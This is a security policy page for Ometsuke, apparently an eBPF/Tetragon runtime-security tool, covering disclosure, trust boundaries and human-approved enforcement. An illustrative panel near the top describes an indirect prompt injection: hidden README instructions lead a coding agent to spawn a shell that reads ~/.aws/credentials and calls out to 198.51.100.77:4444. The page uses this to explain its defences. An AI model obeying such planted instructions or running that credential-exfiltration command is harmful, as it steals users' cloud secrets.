Architecture & Security·7 min read·SECURITY.md

Security Policy

Trust boundaries, Tetragon socket threat model, zero auto-enforcement, and vulnerability disclosure.

Interactive Guide LabRing 0 threat model & zero auto-enforce
Visual Isometric WalkthroughAI Platform & Security Engineers

Interactive Isometric Architecture Simulators

AI Agent Prompt Injection → Ring 0 eBPF Catch → Human Seal

Watch why prompt guardrails fail in Ring 3 while Tetragon eBPF + Human Seals hold at Ring 0.

Threat investigation guide →
RING 3 · AI / PROCUntrusted user spaceRING 0 · eBPFTetragon v1.8.0PQ ZERO-TRUSTML-DSA-65 + HPKEHUB · CEL & MCPGraphs & 23 toolsHUMAN SEALSHA-256 audit chainUNTRUSTED SHELL
Step 1 of 5 · Ring 3 Hijackinternal/domain/ledger/entry.go

Indirect prompt injection hijacks the coding agent

A developer AI agent clones an untrusted repo whose README contains hidden instructions. Text-level prompt filters fail; the agent spawns /bin/sh inside Ring 3.

Developer invariant · Anything running in the same LLM context as untrusted text can be manipulated. Security cannot depend on asking the model to behave.
Observed Ring 3 process spawn
parent: coding-agent (pid 4182)
child:  /bin/sh -c "python3 -c 'open("~/.aws/credentials")'"
        && curl 198.51.100.77:4444
guard:  RING 3 BYPASSED (hidden prompt inside cloned README.md)

#Reporting a vulnerability

Report it privately, never in a public issue, pull request or discussion:

  1. Use GitHub's private vulnerability reporting: the repository's Security tab, then Report a vulnerability.
  2. If that is not available to you, write to the maintainer at the address on their GitHub profile and ask for a private channel before sending details.

Say which version you tested (ometsuke -version), what an attacker needs (local user, a crafted event, a page in the operator's browser), what they gain, and how to reproduce it. A recording that triggers the problem helps; remove any secrets from it first.

The maintainer acknowledges the report, agrees a disclosure date with you, and publishes the advisory with the fix in a patch release, crediting you unless you ask not to be.

#Supported versions

Ometsuke is pre-1.0. Only the latest release receives security fixes; there are no backports.

VersionSupported
0.1.0Yes
0.0.xUpgrade to 0.1.0

#Security model in brief

The full model is in docs/architecture/runtime.md, section 5.

  • Loopback by default, optional RBAC. Without -auth-mode, Ometsuke refuses non-loopback listeners and rejects foreign Host headers with 403. Local processes that can reach the listener can read its data. For multi-host or remote deployments, enable -auth-mode=oidc|token with TLS and -allowed-hosts to enforce authenticated viewer/operator/admin RBAC. Fleet & Auth
  • Tetragon socket access is privileged. An account that can open the socket can change kernel policy through Tetragon's unauthenticated API. Limit access to the socket's group. Operations guide · Tetragon operations research
  • Requests that change something. On the console API, the mutation guard applies to every HTTP method except GET, HEAD and OPTIONS. The separate read-only MCP endpoint accepts loopback POST requests without the console token and rejects foreign origins. A guarded request must carry an Origin equal to the console's own loopback origin, this run's mutation token in Ometsuke-Token, and one JSON body of at most 1 MiB. The guard returns 403 for a missing or invalid origin or token, 415 for another content type and 413 for an oversized body. Ometsuke draws a fresh token at each start and compares it in constant time. By default it prints the operator URL to standard error. Service installations can set -operator-link=file to deliver it exclusively in operator.url, a mode-0600 file under the private data directory. The server removes its file on orderly shutdown and replaces a stale link after a crash. The address fragment never appears in HTTP responses or structured logs. The console reads it from the link's fragment (which a browser never sends to a server), removes it from the address bar, checks with Ometsuke that it is this run's token (POST /api/v1/session, which changes nothing), and only then keeps it in the browser's session and local storage for this origin. A link with any other token is refused and replaces nothing, so a page that opens a link of its own cannot take the place of a token that works. What that means:
    • A page on another origin cannot change anything: it can neither send the console's Origin nor read the token.
    • An agent limited to the MCP interface has no path to a change: the MCP tools only read, and the token is never given to them.
    • Any process that can read the operator URL or the operator's browser profile can act as the operator. Use private file delivery for an unattended service. With standard-error delivery, control access to the terminal and any log collecting that stream. Local accounts with access to the loopback listener can read the console.
  • Threat evidence. The signal detector evaluates a bounded sample locally. It requires a host, an execution ID and usable paths. The threat assistant sends observation types, counts and numbered references to the selected model. The observed executable path, raw arguments, namespaces and the contents of configuration forms stay out of this context. The response policy is rendered locally from an exact selector. Threat investigation
  • Alert delivery. Webhook, SMTP email, Telegram, Slack, PagerDuty, Syslog (RFC 5424), and OTLP/HTTP each require explicit opt-in through operator settings. Notifications carry opaque finding metadata and routing credentials stay inside the private 0600 SQLite database and its backups. Alert delivery
  • Human approval. An operator seals every policy load, enforcement switch, graph revision save, workload egress allowlist change, and response action (kill-process, isolate-container; PID 1 and kernel threads are always refused). Models receive fixed, numbered facts and cannot supply YAML, executables, or enforcement changes. Autonomous authority · Runtime
  • Memory forensics & DFIR boundary. Per-process memory forensics (/memory) and host DFIR sweeps (/forensics) inspect strictly read-only metadata (/proc/<pid>/{maps,smaps_rollup,status,fd,ns,exe}, /proc/sys/kernel/tainted, persistence paths, SUID bits, and /root/.ssh/authorized_keys key counts/types). Ometsuke never opens /proc/<pid>/mem and never reads SSH private keys. Full cross-UID /proc inspection works without root via the optional CAP_SYS_PTRACE + CAP_DAC_READ_SEARCH systemd drop-in. Forensics guide
  • Post-Quantum Zero-Trust multi-node fleet. Remote node agents connect exclusively outbound over Go 1.27 native TLS 1.3 X25519MLKEM768 (HTTPS mandatory for non-loopback hubs), sign every JSON envelope with composite ML-DSA-65 + Ed25519 (FIPS 204 domain-separated contexts + 30s clock window + 128-bit anti-replay nonce cache), encrypt enrollment credentials and Reverse Live RPC payloads end-to-end with HPKE MLKEM768X25519 (X-Wing), and rotate keys every 12 hours. Enrollment tokens are persisted only as SHA3-256 digests, active node_id hijacks return 409 Conflict, revoking a node (DELETE /api/v1/nodes/{id}) severs its reverse tunnel immediately, ephemeral SSH keys are never stored in SQLite/logs and are zero-wiped from 0600 temp files in defer, and remote response actions are disabled by default (-allow-remote-actions=false). Fleet & Auth
  • Opt-in MCP. Twenty-three tools (21 strictly read-only inspection, fleet & DFIR tools plus 2 audited non-enforcing proposal tools, policy_propose and case_recommend) are disabled by default. When enabled, /mcp uses the loopback listener, refuses foreign hosts and cross-site Origin headers, never receives the console mutation token, and exposes no operation that can seal cases or alter kernel policies.
  • Event text is attacker-controlled. A process can put crafted command lines, paths and names in the ledger and influence observed facts. That text cannot change a graph definition, write a seal or submit a policy through the event pipeline. The UI renders it as text and makes invisible and control characters visible. Provider requests carry a bounded, redacted, numbered evidence document. Model answers can cite only that document's entries.
  • Provider keys. Credentials come from the environment or an owner-only 0600 configuration file. Settings displays the source. Keep real secrets out of monitored arguments and paths. The redaction rules cover known patterns. Evidence and disclosure
  • Headers. Every response carries a strict Content-Security-Policy (own origin only, no inline script or style, no framing), nosniff, no-referrer, same-origin opener and resource policies, and a Permissions-Policy that denies every device.
  • Data at rest & tamper-evident audit chain. Ometsuke creates a missing data directory with mode 0700 and keeps database files, cold .jsonl.gz archives, and optional Ed25519 bundle signing keys at 0600. One instance at a time may use a data directory. Every append-only audit row chains SHA-256(prev_hash || canonical_fields) (verifiable online via GET /api/v1/audit/verify or offline via ometsuke verify-audit), surfacing out-of-band tampering or deletion; an attacker with write access to the database file could only rewrite the full chain from scratch, which is detectable against external/exported evidence bundle hashes.
  • Supply chain. Every GitHub Action is pinned to a commit SHA; CI runs govulncheck and bun audit; releases carry SBOMs, third-party notices and SHA-256 checksums, and build-provenance attestations only while the repository is public (GitHub attests private repositories only on Enterprise Cloud; the release notes say which). See the README, "Verifying a release".

#Out of scope

An attacker with root on the monitored host can forge events and stop the agent; Ometsuke cannot defend against that and says so where it matters. Findings that need the operator to expose the port beyond loopback are out of scope.

Model endpoint credentials belong in the process environment or its private configuration file. Custom endpoints use HTTPS or loopback HTTP. The configurable transport refuses redirects. The legacy Anthropic endpoint override retains its original credential behavior. Settings names the selected endpoint and credential source. Model configuration